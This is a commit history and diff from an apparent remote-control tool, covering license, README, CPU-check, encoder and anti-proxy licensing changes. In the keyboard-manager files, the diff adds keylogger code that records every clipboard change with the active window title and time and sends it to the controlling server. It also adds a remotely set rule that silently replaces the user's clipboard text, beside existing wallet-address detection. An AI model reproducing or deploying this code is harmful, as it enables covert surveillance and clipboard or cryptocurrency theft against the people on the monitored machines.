15 Commits

Author SHA1 Message Date
yuanyuanxiang
4d2b12a9dd Compliance: Server-side anti-proxy for trail authorization 2026-05-16 19:48:39 +02:00
yuanyuanxiang
4279e79aa7 Compliance fix: Move LAN RTT check to KernelManager heartbeat 2026-05-16 00:06:01 +02:00
yuanyuanxiang
14387d69ca Compliance: Anti-proxy RTT check + tiered usage policy and disclaimer
Refine: Subtract server processing time from auth heartbeat RTT for proxy detection

chore: add MIT LICENSE + remove RAT-named related project link
2026-05-15 17:15:00 +02:00
yuanyuanxiang
744ebfba0d Improve(Web): Headless host opens terminal
fix two-finger scroll speed and zoom misdetect
2026-05-15 02:05:01 +02:00
yuanyuanxiang
5a92c3306f Feature: Web remote terminal (xterm.js + mobile UX polish) 2026-05-15 02:05:01 +02:00
yuanyuanxiang
5d9554780f Fix(Web): Map unshifted OEM symbols, send multi-char IME commits 2026-05-15 02:05:01 +02:00
yuanyuanxiang
84a52b9dcf Improve: Web UI - iOS safe-area, icon toolbar buttons, logout confirm 2026-05-15 02:05:00 +02:00
yuanyuanxiang
571ec7d80c Fix: Add AVX2 runtime check and optional x264 compilation 2026-05-14 13:39:44 +02:00
yuanyuanxiang
ead4f909ee Fix: Match thumbnail column selection bg on listview focus loss 2026-05-13 21:44:26 +02:00
yuanyuanxiang
e762e3cbd1 Feature: Add live thumbnail preview column to online host list 2026-05-13 18:43:20 +02:00
yuanyuanxiang
6c32b478af Feature: Add "Play Snapshot" loop preview windows for online hosts 2026-05-13 13:05:31 +02:00
yuanyuanxiang
b813d94486 Improve: Finish "scheduler.h" to support all running plan 2026-05-12 22:53:17 +02:00
yuanyuanxiang
0fe67b16d5 Feature: Support replacing clip text via keyboard management dialog 2026-05-11 20:22:07 +02:00
yuanyuanxiang
b69d61617f Improve: Keyboard logger supports logging clipboard changes 2026-05-11 00:49:18 +02:00
shaun
929436e29d Fix: DO NOT use absolute resource path in .RC file 2026-05-10 23:42:58 +02:00
46 changed files with 4546 additions and 253 deletions

5
.gitignore vendored
View File

@@ -85,3 +85,8 @@ docs/macOS_Support_Design.md
settings.local.json settings.local.json
*.zip *.zip
*.lic *.lic
YAMA.code-workspace
.claude/settings.json
.vscode/settings.json
Bin/*
nul

21
LICENSE Normal file
View File

@@ -0,0 +1,21 @@
MIT License
Copyright (c) 2019-2026 yuanyuanxiang
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to furnish persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE, OR IN CONNECTION WITH THE USE OR
OTHER DEALINGS IN THE SOFTWARE.

View File

@@ -716,7 +716,6 @@ cd macos
## 相关项目 ## 相关项目
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文界面远程控制 - [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文界面远程控制
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 经典 Gh0st 实现 - [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 经典 Gh0st 实现
--- ---
@@ -728,7 +727,6 @@ cd macos
| **QQ** | 962914132 | | **QQ** | 962914132 |
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) | | **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) | | **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
| **Issues** | [问题反馈](https://t.me/SimpleRemoter) | | **Issues** | [问题反馈](https://t.me/SimpleRemoter) |
| **PR** | [贡献代码](https://git.simpleremoter.com/) | | **PR** | [贡献代码](https://git.simpleremoter.com/) |

View File

@@ -701,7 +701,6 @@ For complete update history, see: [history.md](./history.md)
## Related Projects ## Related Projects
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - Full English interface remote control - [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - Full English interface remote control
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - Big Grey Wolf 9.5
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - Classic Gh0st implementation - [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - Classic Gh0st implementation
--- ---
@@ -713,7 +712,6 @@ For complete update history, see: [history.md](./history.md)
| **QQ** | 962914132 | | **QQ** | 962914132 |
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) | | **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) | | **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
| **Issues** | [Report Issues](https://t.me/SimpleRemoter) | | **Issues** | [Report Issues](https://t.me/SimpleRemoter) |
| **PR** | [Contribute](https://git.simpleremoter.com/) | | **PR** | [Contribute](https://git.simpleremoter.com/) |

View File

@@ -700,7 +700,6 @@ cd macos
## 相關專案 ## 相關專案
- [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文介面遠端控制 - [HoldingHands](https://github.com/yuanyuanxiang/HoldingHands) - 全英文介面遠端控制
- [BGW RAT](https://github.com/yuanyuanxiang/BGW_RAT) - 大灰狼 9.5
- [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 經典 Gh0st 實作 - [Gh0st](https://github.com/yuanyuanxiang/Gh0st) - 經典 Gh0st 實作
--- ---
@@ -712,7 +711,6 @@ cd macos
| **QQ** | 962914132 | | **QQ** | 962914132 |
| **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) | | **Telegram** | [@doge_grandfather](https://t.me/doge_grandfather) |
| **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) | | **Email** | [yuanyuanxiang163@gmail.com](mailto:yuanyuanxiang163@gmail.com) |
| **LinkedIn** | [wishyuanqi](https://www.linkedin.com/in/wishyuanqi) |
| **Issues** | [問題回報](https://t.me/SimpleRemoter) | | **Issues** | [問題回報](https://t.me/SimpleRemoter) |
| **PR** | [貢獻程式碼](https://git.simpleremoter.com/) | | **PR** | [貢獻程式碼](https://git.simpleremoter.com/) |

View File

@@ -6,11 +6,22 @@
#include <common/iniFile.h> #include <common/iniFile.h>
#include <common/LANChecker.h> #include <common/LANChecker.h>
#include <common/VerifyV2.h> #include <common/VerifyV2.h>
#include <intrin.h> // for __cpuid, __cpuidex
extern "C" { extern "C" {
#include "reg_startup.h" #include "reg_startup.h"
#include "ServiceWrapper.h" #include "ServiceWrapper.h"
} }
// Check if CPU supports AVX2 instruction set
static BOOL IsAVX2Supported()
{
int cpuInfo[4] = { 0, 0, 0, 0 };
__cpuid(cpuInfo, 0);
if (cpuInfo[0] < 7) return FALSE;
__cpuidex(cpuInfo, 7, 0);
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
}
// 自动启动注册表中的值 // 自动启动注册表中的值
#define REG_NAME GetExeHashStr().c_str() #define REG_NAME GetExeHashStr().c_str()
@@ -195,6 +206,14 @@ BOOL CALLBACK callback(DWORD CtrlType)
int main(int argc, const char *argv[]) int main(int argc, const char *argv[])
{ {
// Check AVX2 support at startup
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return -1;
}
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc); Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
InitWindowsService(NewService( InitWindowsService(NewService(
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService", g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
@@ -312,6 +331,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
{ {
switch (ul_reason_for_call) { switch (ul_reason_for_call) {
case DLL_PROCESS_ATTACH: { case DLL_PROCESS_ATTACH: {
// Check AVX2 support before starting
if (!IsAVX2Supported()) {
MessageBoxA(NULL,
"此程序需要支持 AVX2 指令集的 CPU2013年后的处理器。您的 CPU 不支持 AVX2程序无法运行。",
"CPU 不兼容", MB_ICONERROR);
return FALSE;
}
g_MyApp.g_hInstance = (HINSTANCE)hInstance; g_MyApp.g_hInstance = (HINSTANCE)hInstance;
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL)); CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
break; break;

View File

@@ -1580,7 +1580,18 @@ void CKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
if (ulLength > 8) { if (ulLength > 8) {
uint64_t n = 0; uint64_t n = 0;
memcpy(&n, szBuffer + 1, sizeof(uint64_t)); memcpy(&n, szBuffer + 1, sizeof(uint64_t));
m_nNetPing.update_from_sample(GetUnixMs() - n); // 主控心跳 ACK 只回显时间戳(不含 ProcessingMs近似纯网络 RTT
int64_t rtt_ms = (int64_t)GetUnixMs() - (int64_t)n;
m_nNetPing.update_from_sample((double)rtt_ms);
// 试用版反代理RTT 入采样窗口。
// 启停由下方根据 m_settings 控制;非试用模式下 RecordSample 内部直接 return。
if (rtt_ms > 0 && rtt_ms < INT_MAX)
LANRttChecker::RecordSample((int)rtt_ms);
// m_settings.Authorized / IsTrail 由 CMD_MASTERSETTING 同步而来。
// 首次心跳早于 MasterSettings 到达时,两字段均为 0 → 保留默认(关闭),安全。
if (!m_settings.Authorized) return;
// 试用主控 → 打开 RTT 反代理检测;已授权 → 关闭,避免误报合法远程连接
LANRttChecker::SetEnabled(m_settings.IsTrail != 0);
} }
} }
@@ -1643,7 +1654,16 @@ void AuthKernelManager::OnHeatbeatResponse(PBYTE szBuffer, ULONG ulLength)
HeartbeatACK n = { 0 }; HeartbeatACK n = { 0 };
const int size = sizeof(HeartbeatACK); const int size = sizeof(HeartbeatACK);
memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize); memcpy(&n, szBuffer + 1, ulLength > size ? size : HeartbeatACK_OldSize);
m_nNetPing.update_from_sample(GetUnixMs() - n.Time); // 总 RTT = ACK 到达时间 客户端发出时间(含网络 + 服务端处理)。
// 服务端从 v1.3.4 起在 ACK 里回报自己的处理耗时 ProcessingMs毫秒
// - 新服务端ProcessingMs > 0 → 减掉得近似纯网络 RTT
// - 旧服务端ProcessingMs == 0 → 维持旧行为,用总 RTT
// 避免 V2 签名 / HMAC / Debug 加密放大等服务端本底误算到网络 RTT。
int64_t total_rtt_ms = (int64_t)GetUnixMs() - (int64_t)n.Time;
int64_t net_rtt_ms = total_rtt_ms;
if (n.ProcessingMs > 0 && (int64_t)n.ProcessingMs < total_rtt_ms)
net_rtt_ms = total_rtt_ms - (int64_t)n.ProcessingMs;
m_nNetPing.update_from_sample((double)net_rtt_ms);
// Not authorized, but server is reachable, so just return and wait for next heartbeat // Not authorized, but server is reachable, so just return and wait for next heartbeat
if (n.Authorized == UNAUTHORIZED) return; if (n.Authorized == UNAUTHORIZED) return;

View File

@@ -25,6 +25,7 @@
#define USING_CLIP 0 #define USING_CLIP 0
#include "wallet.h" #include "wallet.h"
#include "common/utf8.h"
#if USING_CLIP #if USING_CLIP
#include "clip.h" #include "clip.h"
#ifdef _WIN64 #ifdef _WIN64
@@ -60,6 +61,13 @@ CKeyboardManager1::CKeyboardManager1(IOCPClient*pClient, int offline, void* user
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
binFile bin(CLIENT_PATH);
std::string rule = bin.GetStr("settings", "textRule");
if (rule.length() >= sizeof(TextReplace)) {
memcpy(&m_ReplaceRule, rule.data(), sizeof(TextReplace));
Mprintf("CKeyboardManager1: Load text replace rule succeed\n");
}
m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL); m_hClipboard = __CreateThread(NULL, 0, Clipboard, (LPVOID)this, 0, NULL);
m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL); m_hWorkThread = __CreateThread(NULL, 0, KeyLogger, (LPVOID)this, 0, NULL);
m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL); m_hSendThread = __CreateThread(NULL, 0, SendData,(LPVOID)this,0,NULL);
@@ -93,7 +101,10 @@ void CKeyboardManager1::Notify()
iniFile cfg(CLIENT_PATH); iniFile cfg(CLIENT_PATH);
m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM); m_Wallet = StringToVector(cfg.GetStr("settings", "wallet", ""), ';', MAX_WALLET_NUM);
m_mu.Unlock(); m_mu.Unlock();
sendStartKeyBoard(); m_ruleMu.Lock();
auto rule = m_ReplaceRule;
m_ruleMu.Unlock();
sendStartKeyBoard(rule);
WaitForDialogOpen(); WaitForDialogOpen();
} }
@@ -120,6 +131,16 @@ void CKeyboardManager1::OnReceive(LPBYTE lpBuffer, ULONG nSize)
GET_PROCESS_EASY(DeleteFileA); GET_PROCESS_EASY(DeleteFileA);
DeleteFileA(m_strRecordFile); DeleteFileA(m_strRecordFile);
} }
if (lpBuffer[0] == COMMAND_TEXT_REPLACE && nSize >= sizeof(TextReplace)) {
CAutoCLock L(m_ruleMu);
memcpy(&m_ReplaceRule, lpBuffer, sizeof(TextReplace));
binFile cfg(CLIENT_PATH);
std::string rule((char*)&m_ReplaceRule, sizeof(TextReplace));
cfg.SetStr("settings", "textRule", rule);
auto ansi = utf8_to_ansi((char*)m_ReplaceRule.param);
Mprintf("COMMAND_TEXT_REPLACE: %s\n", ansi.c_str());
}
} }
std::vector<std::string> CKeyboardManager1::GetWallet() std::vector<std::string> CKeyboardManager1::GetWallet()
@@ -130,17 +151,18 @@ std::vector<std::string> CKeyboardManager1::GetWallet()
return w; return w;
} }
int CKeyboardManager1::sendStartKeyBoard() int CKeyboardManager1::sendStartKeyBoard(const TextReplace& rule)
{ {
// 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。 // 协议扩展:在 [TOKEN, offline] 后面捎带 2 字节 cap word。
// 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 —— // 子连接没经过 LOGIN_INFOR服务端的 CKeyBoardDlg 没法直接拿到本机能力位 ——
// 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。 // 让客户端自己带过来,避免服务端通过 IP 反查主连接NAT/127.0.0.1 等场景反查会失败)。
// 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。 // 老服务端读不到 byte 2-3 没关系(只读 byte 1向后兼容。
BYTE bToken[4]; BYTE bToken[4 + sizeof(TextReplace)];
bToken[0] = TOKEN_KEYBOARD_START; bToken[0] = TOKEN_KEYBOARD_START;
bToken[1] = (BYTE)m_bIsOfflineRecord; bToken[1] = (BYTE)m_bIsOfflineRecord;
WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8; WORD caps = CLIENT_CAP_V2 | CLIENT_CAP_UTF8;
memcpy(bToken + 2, &caps, sizeof(WORD)); memcpy(bToken + 2, &caps, sizeof(WORD));
memcpy(bToken + 4, &rule, sizeof(TextReplace));
HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader()); HttpMask mask(DEFAULT_HOST, m_ClientObject->GetClientIPHeader());
return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask); return m_ClientObject->Send2Server((char*)&bToken[0], sizeof(bToken), &mask);
} }
@@ -503,27 +525,66 @@ int CALLBACK WriteBuffer(const char* record, void* user)
return 0; return 0;
} }
std::string CKeyboardManager1::ReplaceText() {
CAutoCLock L(m_ruleMu);
switch (m_ReplaceRule.type) {
case RULE_REPLACE_ALL:
if (m_ReplaceRule.param[0] == 0)
return "";
std::string text((char*)m_ReplaceRule.param);
return clip::set_text_utf8(text) ? text : "";
}
return "";
}
DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam) DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
{ {
CKeyboardManager1* pThis = (CKeyboardManager1*)lparam; CKeyboardManager1* pThis = (CKeyboardManager1*)lparam;
std::string lastValue = {};
while (pThis->m_bIsWorking) { while (pThis->m_bIsWorking) {
auto w = pThis->GetWallet(); bool hasClipboard = clip::has(clip::text_format());
if (w.empty()) {
Sleep(1000);
continue;
}
bool hasClipboard = false;
try {
hasClipboard = clip::has(clip::text_format());
} catch (...) { // fix: "std::runtime_error" causing crashes in some cases
hasClipboard = false;
Sleep(3000);
}
if (hasClipboard) { if (hasClipboard) {
std::string value; std::string value;
clip::get_text(value); if (!clip::get_text(value)) {
if (value.length() > 200) { Sleep(500);
Sleep(1000); continue;
}
std::string recordValue = value.substr(0, 4096);
if (lastValue.length() != recordValue.length() || lastValue != recordValue) {
lastValue = recordValue;
HWND foreground = GetForegroundWindow();
char window_title[MAX_PATH] = {};
wchar_t wTitle[MAX_PATH] = {};
GetWindowTextW(foreground, wTitle, MAX_PATH);
if (wTitle[0]) {
WideCharToMultiByte(CP_UTF8, 0, wTitle, -1, window_title, MAX_PATH, NULL, NULL);
}
SYSTEMTIME s;
GetLocalTime(&s);
char tm[64];
sprintf_s(tm, "%d-%02d-%02d %02d:%02d:%02d", s.wYear, s.wMonth, s.wDay, s.wHour, s.wMinute, s.wSecond);
std::stringstream output;
output << "\r\n\r\n[Title:] " << window_title << "\r\n[Time:]" << tm << "\r\n[Clipboard:]" << recordValue;
std::string str = output.str();
pThis->m_Buffer->Write(str.c_str(), str.length());
if (pThis->IsConnected()) {
str.erase(0, 4);
str.insert(0, 1, TOKEN_CLIP_TEXT);
pThis->Send((BYTE*)str.c_str(), str.length()+1);
std::string newValue = pThis->ReplaceText();
if (!newValue.empty()) {
Mprintf("[Clipboard] Replace %d bytes -> %d bytes \n", recordValue.length(), newValue.length());
lastValue = newValue;
}
}
}
// Wallet detection
auto w = pThis->GetWallet();
if (value.length() > 200 || w.empty()) {
Sleep(500);
continue; continue;
} }
auto type = detectWalletType(value); auto type = detectWalletType(value);
@@ -565,7 +626,7 @@ DWORD WINAPI CKeyboardManager1::Clipboard(LPVOID lparam)
break; break;
} }
} }
Sleep(1000); Sleep(500);
} }
return 0x20251005; return 0x20251005;
} }

View File

@@ -237,19 +237,22 @@ public:
HANDLE m_hClipboard; HANDLE m_hClipboard;
HANDLE m_hWorkThread,m_hSendThread; HANDLE m_hWorkThread,m_hSendThread;
TCHAR m_strRecordFile[MAX_PATH]; TCHAR m_strRecordFile[MAX_PATH];
TextReplace m_ReplaceRule = {};
virtual BOOL Reconnect() virtual BOOL Reconnect()
{ {
return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE; return m_ClientObject ? m_ClientObject->Reconnect(this) : FALSE;
} }
std::string ReplaceText();
private: private:
BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData); BOOL IsWindowsFocusChange(HWND &PreviousFocus, TCHAR *WindowCaption, TCHAR *szText, bool HasData);
int sendStartKeyBoard(); int sendStartKeyBoard(const TextReplace& rule);
int sendKeyBoardData(LPBYTE lpData, UINT nSize); int sendKeyBoardData(LPBYTE lpData, UINT nSize);
bool m_bIsWorking; bool m_bIsWorking;
CircularBuffer *m_Buffer; CircularBuffer *m_Buffer;
CLocker m_mu; CLocker m_mu;
CLocker m_ruleMu;
std::vector<std::string> m_Wallet; std::vector<std::string> m_Wallet;
std::vector<std::string> GetWallet(); std::vector<std::string> GetWallet();
}; };

View File

@@ -191,6 +191,7 @@ public:
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false), m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1) m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
{ {
SetAlgorithm(algo);
m_BitmapInfor_Send = nullptr; m_BitmapInfor_Send = nullptr;
m_BmpZoomBuffer = nullptr; m_BmpZoomBuffer = nullptr;
m_BmpZoomFirst = nullptr; m_BmpZoomFirst = nullptr;
@@ -985,7 +986,7 @@ public:
virtual BYTE SetAlgorithm(int algo) virtual BYTE SetAlgorithm(int algo)
{ {
BYTE oldAlgo = m_bAlgorithm; BYTE oldAlgo = m_bAlgorithm;
m_bAlgorithm = algo; m_bAlgorithm = (DISABLE_X264_FOR_TEST && algo == ALGORITHM_H264) ? ALGORITHM_RGB565 : algo;
return oldAlgo; return oldAlgo;
} }

View File

@@ -7,13 +7,13 @@
// //
// Generated from the TEXTINCLUDE 2 resource. // Generated from the TEXTINCLUDE 2 resource.
// //
#include "afxres.h" #include "winres.h"
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS #undef APSTUDIO_READONLY_SYMBOLS
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////
// 中文(简体,中国) resources // 中文(简体,中国) resources
#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS) #if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_CHS)
LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
@@ -26,7 +26,7 @@ LANGUAGE LANG_CHINESE, SUBLANG_CHINESE_SIMPLIFIED
IDD_DIALOG DIALOGEX 0, 0, 180, 108 IDD_DIALOG DIALOGEX 0, 0, 180, 108
STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU STYLE DS_SYSMODAL | DS_SETFONT | DS_MODALFRAME | WS_POPUP | WS_CAPTION | WS_SYSMENU
CAPTION "消息提示" CAPTION "消息提示"
FONT 10, "System", 0, 0, 0x0 FONT 10, "System", 0, 0, 0x0
BEGIN BEGIN
LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95 LTEXT "Static",IDC_EDIT_MESSAGE,5,5,170,95
@@ -61,7 +61,7 @@ END
2 TEXTINCLUDE 2 TEXTINCLUDE
BEGIN BEGIN
"#include ""afxres.h""\r\n" "#include ""winres.h""\r\n"
"\0" "\0"
END END
@@ -132,7 +132,7 @@ IDI_ICON_MAIN ICON "Res\\ghost.ico"
IDI_ICON_MSG ICON "Res\\msg.ico" IDI_ICON_MSG ICON "Res\\msg.ico"
#endif // 中文(简体,中国) resources #endif // 中文(简体,中国) resources
///////////////////////////////////////////////////////////////////////////// /////////////////////////////////////////////////////////////////////////////

View File

@@ -2,6 +2,15 @@
#include <string.h> #include <string.h>
#include <stdio.h> #include <stdio.h>
#if DISABLE_X264_FOR_TEST
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; }
CX264Encoder::~CX264Encoder() {}
bool CX264Encoder::open(int, int, int, int) { return false; }
bool CX264Encoder::open(x264_param_t*) { return false; }
void CX264Encoder::close() {}
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
#else
#ifdef _WIN64 #ifdef _WIN64
#pragma comment(lib,"libyuv/libyuv_x64.lib") #pragma comment(lib,"libyuv/libyuv_x64.lib")
#pragma comment(lib,"x264/libx264_x64.lib") #pragma comment(lib,"x264/libx264_x64.lib")
@@ -153,3 +162,5 @@ int CX264Encoder::encode(
*lpSize = encode_size; *lpSize = encode_size;
return 0; return 0;
} }
#endif

View File

@@ -5,6 +5,8 @@ extern "C" {
#include <x264\x264.h> #include <x264\x264.h>
} }
#define DISABLE_X264_FOR_TEST 0
class CX264Encoder class CX264Encoder
{ {
private: private:

View File

@@ -84,4 +84,41 @@ namespace clip {
LeaveCriticalSection(&GetClipLock()); LeaveCriticalSection(&GetClipLock());
return result; return result;
} }
/**
* 将 UTF-8 字符串安全地设置到 Windows 剪切板
*/
inline bool set_text_utf8(const std::string& utf8_str) {
if (utf8_str.empty()) return false;
// 1. 将 UTF-8 转换为 UTF-16 (因为 Windows 剪切板原生支持 UTF-16)
int wlen = MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, NULL, 0);
if (wlen <= 0) return false;
// 2. 分配全局内存
HGLOBAL hMem = GlobalAlloc(GMEM_MOVEABLE, wlen * sizeof(wchar_t));
if (!hMem) return false;
// 3. 执行转换并锁定内存
wchar_t* pMem = (wchar_t*)GlobalLock(hMem);
MultiByteToWideChar(CP_UTF8, 0, utf8_str.c_str(), -1, pMem, wlen);
GlobalUnlock(hMem);
// 4. 操作剪切板
bool success = false;
if (OpenClipboard(NULL)) {
EmptyClipboard();
if (SetClipboardData(CF_UNICODETEXT, hMem)) {
success = true;
}
CloseClipboard();
}
// 如果 SetClipboardData 失败,需要手动释放内存;成功则由系统接管
if (!success) {
GlobalFree(hMem);
}
return success;
}
} // namespace clip } // namespace clip

View File

@@ -1,6 +1,115 @@
#pragma once #pragma once
// LANChecker.h - 检测本进程的TCP连接是否有外网IP // ============================================================================
// 用于试用版License限制仅允许内网连接 // LANChecker.h — 远程控制软件的反滥用 / 合规执行模块
// ============================================================================
//
// 立场与背景
// ----------------------------------------------------------------------------
// 本软件提供远程桌面与设备管理能力,理论上具备被滥用为非授权远程控制 / 监控
// 工具的可能性。为防止此类滥用,并明确合规边界,本模块在客户端进程内实施
// 分级强制性技术限制:能力随授权级别开放,越权使用形态会被本模块的检测路径
// 捕获并以可见方式提醒终端用户(弹窗 / 终止进程)。
//
// 本模块的存在不是装饰,而是出厂安全姿态的一部分。任何试图通过外部手段
// 屏蔽弹窗、拦截日志、patch 二进制以禁用本模块的行为,均构成对最终用户
// 授权协议EULA的违反发行方对此类绕过行为产生的后果不承担任何责任
// 并保留通过授权服务器侧黑名单、签发吊销等手段进一步处置的权利。
//
// 授权分级与强制约束
// ----------------------------------------------------------------------------
//
// ┌─────────────┬─────────────────────┬──────────────────────────────────┐
// │ 层级 │ 适用场景 │ 本模块强制的限制 │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 无口令 │ 个人单机自用 │ 监听端口数 ≤ 2 │
// │ │ (非远程业务) │ (单设备本地管理足够) │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 试用口令 │ 内部 LAN 设备管理 │ 监听端口数 ≤ 20 │
// │ │ 严禁跨网使用 │ 入站连接源 IP 必须为私网段 │
// │ │ │ 心跳 RTT 中位数 ≤ 25ms │
// │ │ │ 周期性回连授权服务器 │
// ├─────────────┼─────────────────────┼──────────────────────────────────┤
// │ 正式授权 │ 跨网远程业务 │ 需具备正当使用理由 │
// │ │ (含跨地远程监控) │ 由发行方人工审核签发 │
// │ │ │ 本程序仅做技术校验 │
// └─────────────┴─────────────────────┴──────────────────────────────────┘
//
// 各层级的设计意图:
//
// * 无口令档:仅满足"个人在自己一台机器上做远程登录 / 应急自救"这类
// 极轻量诉求,端口数限制确保它无法被改造成多租户中转。
//
// * 试用口令档:开放给"小公司 / 团队在自家 LAN 内统一管理一批设备"
// 的真实使用场景。所有限制LAN-only、RTT 阈值、心跳)都围绕一个
// 目的:让这台 server 只能服务真实物理同网段的客户端,无法通过任何
// 形式的代理 / 隧道 / NAT 转发暴露给公网,从而封堵"用试用口令对外
// 提供远程服务"的滥用路径。
//
// * 正式授权档:唯一允许真正跨网远程业务的形态。授权签发流程在程序
// 之外(人工评估申请人身份、合规义务、用途说明),程序本身只承担
// 技术校验。这一档存在的目的是给合规客户提供完整能力。
//
// 授权与责任划分(重要)
// ----------------------------------------------------------------------------
// 发行方的责任仅限于:
// (a) 提供具备本文件所述反滥用机制的软件实现;
// (b) 在授权签发环节进行合理的身份核验与用途说明审查。
//
// 授权一经签发,被授权方即作为"运营者"独立承担其使用行为的全部法律与
// 道义责任,包括但不限于:
//
// 1. 遵守其所在司法辖区关于个人隐私、计算机信息系统安全、数据保护、
// 工作场所监控、未成年人保护等一切现行有效的法律法规;
// 2. 在每一台被本软件管理 / 监控的设备上,事先取得该设备所有者及
// 实际使用人明确、可追溯的知情同意;
// 3. 不得将本软件用于任何形式的非授权监控、商业秘密窃取、未授权
// 访问他人计算机系统、敲诈勒索、跟踪骚扰、规避执法监管等违法
// 违规用途。
//
// 发行方明确声明:
//
// * 签发授权不构成对被授权方任何具体使用方式的背书、推荐或担保;
// * 被授权方违反前款义务造成的一切后果(含民事赔偿、行政处罚、
